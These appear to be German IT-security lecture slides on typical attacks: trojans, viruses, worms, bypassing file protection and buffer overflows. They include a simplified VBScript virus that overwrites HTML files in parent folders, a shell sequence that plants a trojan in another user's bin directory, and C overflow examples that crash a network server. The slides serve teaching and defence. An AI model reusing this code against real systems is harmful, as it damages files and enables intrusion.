2 Typische Angriffe. Trojanisches Pferd. Virus. Wurm. Umgehung von Sicherheitsmechanismen. Ausnutzung von Software-Verletzlichkeiten

Ähnliche Dokumente
2 Typische Angriffe. nutzen technische oder menschliche Schwachstellen aus

Multicast dt. Gruppenruf. Robert Tolksdorf und Peter Löhr

12.5 Sicherer Programmcode

Tafelübung zu BSRvS 1 6. Sicherheit

Zugangskontrolle. Rechtebasierter Zugriffsschutz. Informationsflußkontrolle. Entwicklung sicherer Systeme. Kryptographische Verfahren

Übungen zu Softwaresysteme I Jürgen Kleinöder Universität Erlangen-Nürnberg Informatik 4, 2004 K-Uebung9.fm

2. Typische Angriffe. Wir befassen uns nun mit typischen Angriffen auf ein System, die versuchen, Schutzmechanismen zu umgehen.

Ein- und Ausgabe mit Dateien

Grundlagen der Programmierung in C++ Arrays und Strings, Teil 1

Ein- und Ausgabe mit Dateien

int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) {

Arrays (Felder/Vektoren)

Angewandte IT-Sicherheit

Zeiger in C und C++ Zeiger in Java und C/C++

FEBE Die Frontend-Backend-Lösung für Excel

Programmiertechnik. Teil 4. C++ Funktionen: Prototypen Overloading Parameter. C++ Funktionen: Eigenschaften

Praxis der Programmierung

Teil I Debuggen mit gdb

C-Kurs 2010 Pointer. 16. September v2.7.3

Datensicherheit. Inhalt. Allgemeines zur Datensicherheit Malware (Viren, Würmer, Trojanische Pferde) Firewalls Verena Novak 1

Sicherheit in Software

Programmier-Befehle - Woche 10

E Angriffskonzepte, Systemschwachstellen

Einführung in die Programmiersprache C

Programmieren in C. Funktionen mit Zeigern und Adressen. Prof. Dr. Nikolaus Wulff

Dateizugriff unter C

C-Programme kompilieren mit Visual Studio Express

U23 - Shellcode. Twix Chaos Computer Club Cologne. Motivation Einstieg Der erste Shellcode Nullbytes, NOP Slides

E.1 Angriffe von innerhalb des Systems

Einführung in die Programmiersprache C

Java Tools JDK. IDEs. Downloads. Eclipse. IntelliJ. NetBeans. Java SE 8 Java SE 8 Documentation

Eine Mini-Shell als Literate Program

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)

Trojaner. Verbundstudium TBW Veranstaltung IKS. Jochen Voigt und Hans Faber

INE1 Mehr zu Funktionen Ausserdem: Strings (Saiten) Call by value, struct's Call by reference Array Parameter Strings und Stringfunktionen

C/C++-Programmierung

GI Vektoren

Netzwerksicherheit Musterlösung Übungsblatt 4: Viren

Arrays,Strings&Pointer in C/C++

Hello world. Sebastian Dyroff. 21. September 2009

Programmieren in Java

1. Definition. 2. Interne Speicherung der Zeichenketten. 3. Vereinbarung von Zeichenketten

Einführung in die C-Programmierung

Übungspaket 29 Dynamische Speicherverwaltung: malloc() und free()

Dynamische Speicherverwaltung

Hacking in C (Windows) Reinhard Oertel

Einführung Makros Includes Errors und Warnings Pragmas Diverses. Der C-Präprozessor. Lukas Stabe. Universität Hamburg

Einleitung Entwicklung in C Hello-World! Konstrukte in C Zusammenfassung Literatur. Grundlagen von C. Jonas Gresens

Übersicht PERL. !!!! Wichtig: Nach dem Befehl einem Strichpunkt setzen!!!!

E-/A-Funktionalität nicht Teil der Programmiersprache

Viren und Würmer. B. Mayer, M. Moser, M. Schönegger WAP (WS 2016/17) B. Mayer, M. Moser, M. Schönegger Viren und Würmer WAP (WS 2016/17) 1 / 34

Bash-Skripting Linux-Kurs der Unix-AG

SAP-Daten per HTML anzeigen

Netzwerksicherheit Musterlösung Übungsblatt 5: Firewalls

Heap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen

Übungspaket 14 Eindimensionale Arrays

Einführung in C. EDV1-04C-Einführung 1

Makros in Office-Paketen deaktivieren

Heap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen

JAVA BASICS. 2. Primitive Datentypen. 1. Warum Java? a) Boolean (logische Werte wahr & falsch)

Kurzeinführung in C99

Programmiersprachen Einführung in C. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm

Zeichenketten (1) Literale von Zeichenketten werden in doppelte Anführungszeichen gesetzt

Introduction to Python. Introduction. First Steps in Python. pseudo random numbers. May 2016

6 Speicherorganisation

Bash-Skripting Linux-Kurs der Unix-AG

Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging

Einleitung. Informationsquellen: - Webseite zur Vorlesung, Abschnitt Informationen zu C und C++ Kurzeinführung in C/C++

Die elementare Ausgabe von Daten auf externe Medien, wie Dateien und das Einlesen davon wird demonstriert.

Grundlagen der Informatik 6. Arrays I

Anhang A - Weitere Bibliotheken. Die Bibliothek Mail_02.lib ermöglicht das Versenden von s mit dem Ethernet-Controller

Programmentwicklung ohne BlueJ

Entwicklungsumgebung für die Laborübung

Im Windows Betriebssystem sind Dateien eindeutig gekennzeichnet durch ihren Pfad, Dateinamen und nach einem Punkt die Dateierweiterung.

MALWARE AM BEISPIEL VON STUXNET

Embedded SQL in PostgreSQL

Exploits Wie kann das sein?

Programmieren in C. Die C-Standardbibliothek. Prof. Dr. Nikolaus Wulff

Seite Seite 2

Embedded Toolchain. 1 C/C++-Grundlagen. strncpy_s, strcpy_s etc. V 4.02; Hon. Prof. Helmke 1

Web Applications Vulnerabilities

Linux - a bit advanced

Hausarbeit. Thema: Computersicherheit. Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010

TIn 1: Feedback Laboratories. Lecture 4 Data transfer. Question: What is the IP? Institut für Embedded Systems. Institut für Embedded Systems

VIVIT TQA Treffen in Köln am API- Programmierung und Nutzung bei HP Quality Center / ALM. Michael Oestereich IT Consultant QA

Dynamische Webseiten mit PHP. Oder: LAMP - The open way

Betriebssysteme, Rechnernetze und verteilte Systeme 1. Crashkurs C (2)

2 Eine einfache Programmiersprache

BAUINFORMATIK. SS 2013 Vorlesung 1 Johannes Lange

Python Programmierung. Dipl.-Ing.(FH) Volker Schepper

Grundlagen der OO- Programmierung in C#

C++-Zusammenfassung. H. Schaudt. August 18, 2005

Dynamische Speicherverwaltung

Zeichendarstellung. Zeichen sind Zahlen (in C) Zeichen und switch

II. Grundlagen der Programmierung. Beispiel: Merge Sort. Beispiel: Merge Sort (Forts. ) Beispiel: Merge Sort (Forts. )

Datenschutztag. Eine Präsentation von Mateusz Gwara, Philipp Leder, Paul Panser und Patrick Wilke

Transkript:

2 Typische Angriffe Trojanisches Pferd Virus Wurm Umgehung von Sicherheitsmechanismen Ausnutzung von Software-Verletzlichkeiten... weitere, insbesondere im Netz SS-2 1

2.1 Trojanisches Pferd Schadsoftware, die neben nützlicher Funktionalität auch nicht dokumentierte, schädliche Funktionen enthält und diese unabhängig vom Anwender und ohne dessen Wissen ausführt. Beispiele: Programm verhält sich wie normaler Editor, leitet aber heimlich die eingegebenen Daten auch an den Angreifer weiter. Java-Bibliotheksklasse befragt bei jeder Benutzung eine geheime Webseite des Angreifers, ob eine Sabotage-Maßnahme durchgeführt werden soll. Ferngesteuertes Programm! SS-2 2

Schutzmaßnahmen: Zugriffsrechte restriktiv handhaben ( 4) (bringt nicht viel) Capability-basierter Schutz ( 4) Sichere Programmübernahme aus vertrauenswürdiger Quelle Programme signieren ( 8) (sofern man dem Unterzeichner vertraut) Informationsflusskontrolle ( 5) Code Reviews Alles nicht einfach! Trojanische Pferde gehören zu den großen Herausforderungen in der IT-Sicherheit! SS-2 3

2.2 Virus Code, der vom Angreifer in zunächst korrekte Programme eingebaut wird, bei jedem Start eines so infizierten Wirtsprogramms mitausgeführt wird, dabei weitere Programme in der gleichen Weise infiziert und mehr oder weniger Unheil anrichtet. Somit: Virus-infiziertes Programm ist Trojanisches Pferd mit der Eigenschaft, auch andere Programme zu solchen Trojanischen Pferden zu machen. SS-2 4

Aufbau eines Virus: Erkennungsteil: Infektionsteil: Schadensteil: Bedingungsteil: Tarnungsteil: erkennt bereits infizierte Programme infiziert noch nicht infizierte Programme enthält die Schadensfunktion enthält Bedingungen für die genannten Aktivitäten erschwert die Erkennung SS-2 5

Typische Programmstruktur im Binärcode (vereinfacht) gesund infiziert 0 JUMP START 0 JUMP 4711 1 1 START START 4710 4710 4711 Virus JUMP START SS-2 6

Arten von Viren: Datei-Viren: infizieren ausführbare Dateien Boot-Viren: infizieren den Boot-Sektor von Festplatten... auch in Kombination (multipartite virus) Makro-Viren: nicht Binärprogramme werden infiziert, sondern Daten/Skripte, die von Interpretierern für Skriptsprachen aufbereitet bzw. ausgeführt werden. Makro-Viren sind wegen ihrer spezifischen Datenformate in der Regel an bestimmte Anwendungen gebunden: SS-2 7

Beispiel 1: Makros in Word (prominent: Melissa, 1999): Aktionsfolgen zur Dokumentbearbeitung können in Makro zusammengefasst werden - auslösbar z.b. mit Funktionstaste, ferner automatische Ausführung beim Öffnen eines Dokuments. Makrosprache hat Mächtigkeit einer Programmiersprache (bei Word: VBA Visual Basic for Applications, oder VBS - Visual Basic Script, nicht nur für Word)! - Virus kann als Makro konzipiert werden, - wird beim Öffnen eines infizierten Dokuments aktiviert; - Verbreitung auf Windows-Systemen vor allem durch E-mail (Outlook-Adressbuch!) SS-2 8

Beispiel 2: VBS-Virus in Web-Dokumenten (prominent: HTML Internal): Lokale infizierte Webseite infiziert alle.html- und.htm-dateien im lokalen Verzeichnis und in allen darüberliegenden Verzeichnissen. Beim Laden einer infizierten Webseite wird das VBS-Skript gestartet: <body OnLoad= CheckIt(); > lokale Webseite? <script language= VBScript > <! -- Sub CheckIt End Sub If location.protocol = file: then Call IsFile SS-2 9

eigentliche Virus-Aktivität_ Sub IsFile erzeuge Dateisystemobjekt zum Zugriff aufs Dateisystem: Set fso = CreateObject( Script.FileSystemObject ) erzeuge Windows-Verzeichnispfad: HostPath = Replace(location.href, "file:///", ) HostPath = Replace(HostPath, /, \ ) ermittle Vaterverzeichnis des aktuellen Verzeichnisses: cpath = fso.getparentfoldername(hostpath) folder = fso.getfolder(cpath) SS-2 10

infiziere: Set fso = CreateObject( Script.FileSystemObject ) While folder.isrootfolder = false Set fc = folder.files cpath = fso.getparentfoldername(cpath) For each f1 in fc s = fso.getextensionname(f1.name) If f1.path <> HostPath then If s = htm or s = html then fso.copyfile HostPath,f1.path End If Wend End Sub vereinfacht: ganze Datei ersetzen --> </script> SS-2 11

Maßnahmen von Viren, um unentdeckt zu bleiben: Stealth-Viren befallen lieber große Dateien als kleine, da Größenänderung weniger auffällig klinken sich in den Überwachungsprozess von Viren ein, z.b. Anti-Viren-Software: Verwischen von Spuren oder Vorspiegeln falscher Informationen. Polymorphe Viren Selbstveränderung des Viren-Codes Retro-Viren bekämpfen aktiv Anti-Viren-Programme SS-2 12

Nährboden für Viren: starke Aktivität am Rechner (Programmausführung) Systeme ohne oder mit schwachen Schutzmechanismen (z.b. MS-DOS, frühe Windows-Versionen) Nachlässiger Umgang mit vorhandenen Schutzmechanismen (Browser-Einstellungen, Warnmeldungen) System-Monokultur (z.b. Windows für PCs) Einschleppen durch Programme/Daten dubioser Herkunft (z.b. übers Netz) - wie bei Trojanischen Pferden SS-2 13

Gegenmaßnahmen: Beschränkung der Schreibrechte Datei-Integrität mittels Prüfsummen oder Verschlüsselung automatisches Ausführen von Makros ausschalten Viren-Scanner einsetzen SS-2 14

2.3 Wurm Programm, das sich über das Netz fortpflanzt, entweder selbsttätig (prominent: Internet Worm, Morris 1988) oder als Anhängsel von E-mails (prominent: Love Letter, 2000), und auf den befallenen Rechnern Schaden stiftet.! Benötigt kein Wirtsprogramm! (d.h. Wurm Trojanisches Pferd) SS-2 15

Auswahl: MyDoom, Januar 2004 Verteiltes DoS auf Microsoft und SCO bisher schnellste Ausbreitung verbreitet über e-mail und peer-to-peer Sobig Worm, August 2003 Verbreitung über Mail-Attachment Benutzt eigene SMTP-Engine zur Replikation SQL Slammer, Januar 2003 Microsoft SQL 2000 Buffer Overflow (Heap und Stack) Code Red, Juli 2001 Index-Dienst des Microsoft Internet Information Server (IIS) Buffer Overflow in Idq.dll http://en.wikipedia.org/wiki/notable_computer_viruses_and_worms SS-2 16

Typische von Würmern benutzte Techniken: Nutzung von Diensten zur Fernausführung von Programmen, (z.b. Unix rsh ist i.a. aber gut geschützt, s.u.) Sicherheitslücken in Internet Daemons (z.b. offengelassene Debug Option in sendmail führt zur Annahme und Ausführung von Shell-Befehlen) Ausnutzung von Implementierungsschwächen von Systemsoftware ( 2.5) Skripte als Anlagen zu E-mails (z.b. in VBS geschrieben), Öffnung führt zu weiterer Verbreitung (z.b. mittels Adressdatei) SS-2 17

Gegenmaßnahmen: Restriktive Vergabe von Zugriffsrechten Patches einspielen Sicherheitsmeldungen verfolgen Beachte: Im Gegensatz zu Viren handelt es bei Würmern um um netzspezifische Schadsoftware Vorlesung Netzsicherheit SS-2 18

Würmer versus Viren: Wurm ist eigenständiges Programm kann sich selbsttätig fortpflanzen und Kopien auf anderen Rechnern starten Virus integriert sich in ein Wirtsprogramm ist nicht unabhängig vom Wirtsprogramm ablauffähig Aber: manche Schadsoftware ist Zwitter Virus/Wurm (vgl. Melissa) SS-2 19

2.4 Umgehung von Sicherheitsmechanismen Passwörter herausfinden ( 3) Dateischutz umgehen ( 4) Geheimcode knacken ( 8)... u.a. Beispiel Dateischutz umgehen: Erfolgreicher Angriff mittels raffiniert geplanter Folge von Aktionen, die der Schutz-Verantwortliche nicht bedacht hat. SS-2 20

Beispiel: Herrn Pohl ein Trojanisches Pferd unterschieben % ll ~pohl -rw-r----- 1 pohl inst 4711 Feb 29 12:34 memo drwxr-x--x 1 pohl inst 512 Feb 10 12:01 bin... Leider ist bin nicht lesbar. % ~pohl/bin/hello Ein Versuch... Hello world!... erfolgreich. % cp trojan ~pohl/bin/hello Noch ein Versuch...... erfolgreiches Installieren % eines Trojanischen Pferdes (cp ändert nur den Inhalt der Zieldatei, nicht deren Schutzstatus) SS-2 21

2.5 Ausnutzung von Software-Verletzlichkeiten Das klassische Beispiel: Puffer-Überlauf (buffer overflow) Def.: Programmiersprache heißt unsicher (unsafe), wenn Programmfehler die Speicherverwaltung stören können. (chaotisches Programmverhalten, Absturz mit Bus Error, Segmentation Fault u.ä. ) Beispiele: Pascal/Modula: ungültige Verweise C/C++ ferner: Feldgrenzenüberschreitung SS-2 22

Beispiel aus der Unix-C-Bibliothek: SYNOPSIS #include <stdio.h> char *gets(char *s); char *fgets(char *s, int n, FILE *stream); DESCRIPTION The gets() function reads characters from the standard input stream (see intro(3)), stdin, into the array pointed to by s, until a newline character is read or an end-of-file condition is encountered. The newline character is discarded and the string is terminated with a null character. The fgets() function reads characters from the stream into the array pointed to by s, until n-1 characters are read, or a newline character is read and transferred to s, or an end-of-file condition is encountered. The string is then terminated with a null character. When using gets(), if the length of an input line exceeds the size of s, indeterminate behavior may result. For this reason, it is strongly recommended that gets() be avoided in favor of fgets(). SS-2 23

! Noch mehr gefährliche Funktionen: Standard C Library Functions string(3c) NAME string, strcasecmp, strncasecmp, strcat, strncat, strlcat, strchr, strrchr, strcmp, strncmp, strcpy, strncpy, strlcpy, strcspn, strspn, strdup, strlen, strpbrk, strstr, strtok, strtok_r - string operations DESCRIPTION The arguments s, s1, and s2 point to strings (arrays of characters terminated by a null character). The strcat(), strncat(), strlcat(), strcpy(), strncpy(), strlcpy(), strtok(), and strtok_r() functions all alter their first argument. These functions do not check for overflow of the array pointed to by the first argument. SS-2 24

Standard C Library Functions printf(3c) NAME printf, fprintf, sprintf, snprintf - print formatted output DESCRIPTION The sprintf() function places output, followed by the null byte (\0), in consecutive bytes starting at s; it is the user's responsibility to ensure that enough storage is available. SS-2 25

Anwendung von gets z.b. so: char line[100];... gets(line); und der Programmierer vergißt, längere Zeilen (länger als 100) als fehlerhaft abzufangen! bei längeren Zeilen wird der Keller beschädigt - oder von einem Angreifer gezielt modifiziert! typischer Angriff: SS-2 26

Typischer Angriff: Systemprogramm/prozess benutzen, das obigen Code enthält Keller durch planmäßig konstruierte Eingabe so manipulieren, dass Rücksprungadresse umgesetzt wird, und zwar auf diejenige Adresse im Keller, auf der mit eingeschleuster Code steht (der weiteren Code nachzieht); Effekt: Code des Angreifers läuft mit Rechten des Angegriffenen. (So praktiziert beim Internet Worm - unter Benutzung des fingerd Daemon!) SS-2 27

Einfaches Beispiel 1 ohne Einschleusung von Code void function (char *args ){ char buff2[4] = ABC ; char buff1[4]; strcpy(buff1,args); } int main( int argc, char *argv[]) { if (argc >1) function(argv[1]); else printf( Kein Argument! ); } Parameter main argc, argv Rücksprungadr. aus main Parameter funct args Rücksprungadr. aus function lokale Variable buff2 lokale Variable buff1 höhere Adressen (Keller wächst im Speicher von oben nach unten) SS-2 28

Beispiel: einen Netzdienst abschießen (denial of service) int main(int argc, char *argv[]) { char line[64];...... // initialize server... for ( ; ; ) { connfd = accept( listenfd, (SA *) NULL, NULL); write( connfd, "Eingabe: ", 9); n = read( connfd, line, sizeof (line) -1 ); line[n] = 0; serve( line ); close( connfd ); } } SS-2 29

void serve(char *str) { char buff[24]; strcpy(buff, str); printf("buff: %s\n", buff); } Eingaben, die länger als 24 Bytes sind, zerstören die Rücksprungadresse - und bringen den Server zum Absturz SS-2 30

Schutzmaßnahmen: Sichere Programmiersprachen!! Keller-Segment ohne "execute"-rechte (Solaris; OpenBSD 3.2; Linux: OpenWall, PaX) (verhindert allerdings nicht den Überlauf als solchen) Andere Keller-Organisation, Hüllen für die unsicheren Funktionen, alle möglichen Tricks! Halde muss auch geschützt werden! SS-2 31